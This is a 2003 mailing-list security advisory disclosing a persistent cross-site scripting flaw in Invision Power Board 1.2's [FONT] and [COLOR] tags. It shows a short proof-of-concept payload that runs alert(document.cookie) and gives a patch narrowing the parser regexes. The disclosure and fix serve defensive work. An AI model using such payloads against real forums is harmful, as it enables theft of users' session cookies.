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Invision Power Board : XSS in [FONT] and [COLOR] tags.

daemon@ATHENA.MIT.EDU (Frog Man)
Thu Sep 11 12:49:33 2003

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com, vulnwatch@securityfocus.com
Date: Thu, 11 Sep 2003 11:46:10 +0200
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <Law15-F106SfqtKrQNH000477ed@hotmail.com>

Informations :
°°°°°°°°°°°°°°
Language : PHP
Version : 1.2 FINAL
Website : http://www.invisionboard.com/
Problem : Permanent XSS

Dev :
°°°°°
[FONT=expression(alert(document.cookie))]text[/FONT] will made the HTML :
<span style='font-family:expression(alert(document.cookie))'>text</span>
[COLOR=expression(alert(document.cookie))]texte[/COLOR] will made the HTML :
<span style='color:expression(alert(document.cookie))'>text</span>

and the javascript alert(document.cookie) will be executed.

Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In sources/lib/post_parser.php , just replace the lines :
-----------------------------------------------------------------------------------------------------------------------------
while ( preg_match( "#\[font=([^\]]+)\](.*?)\[/font\]#ies", $txt ) )
{
	$txt = preg_replace( "#\[font=([^\]]+)\](.*?)\[/font\]#ies"    , 
"\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}

while( preg_match( "#\[color=([^\]]+)\](.+?)\[/color\]#ies", $txt ) )
{
	$txt = preg_replace( "#\[color=([^\]]+)\](.+?)\[/color\]#ies"  , 
"\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}
-----------------------------------------------------------------------------------------------------------------------------

by the lines :

-----------------------------------------------------------------------------------------------------------------------------
while ( preg_match( "#\[font=([^;<>\*\(\)\]\"']*)\](.*?)\[/font\]#ies", $txt 
) )
{
	$txt = preg_replace( "#\[font=([^;<>\*\(\)\"']*)\](.*?)\[/font\]#ies"    , 
"\$this->regex_font_attr(array('s'=>'font','1'=>'\\1','2'=>'\\2'))", $txt );
}

while( preg_match( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#ies", $txt ) )
{
	$txt = preg_replace( "#\[color=([a-zA-Z0-9]*)\](.+?)\[/color\]#ies"  , 
"\$this->regex_font_attr(array('s'=>'col' ,'1'=>'\\1','2'=>'\\2'))", $txt );
}
-----------------------------------------------------------------------------------------------------------------------------

More Details :
°°°°°°°°°°°°
in french : http://www.phpsecure.info/v2/tutos/InvisionPowerBoard1.2F.txt







frog-m@n (http://www.phpsecure.info)

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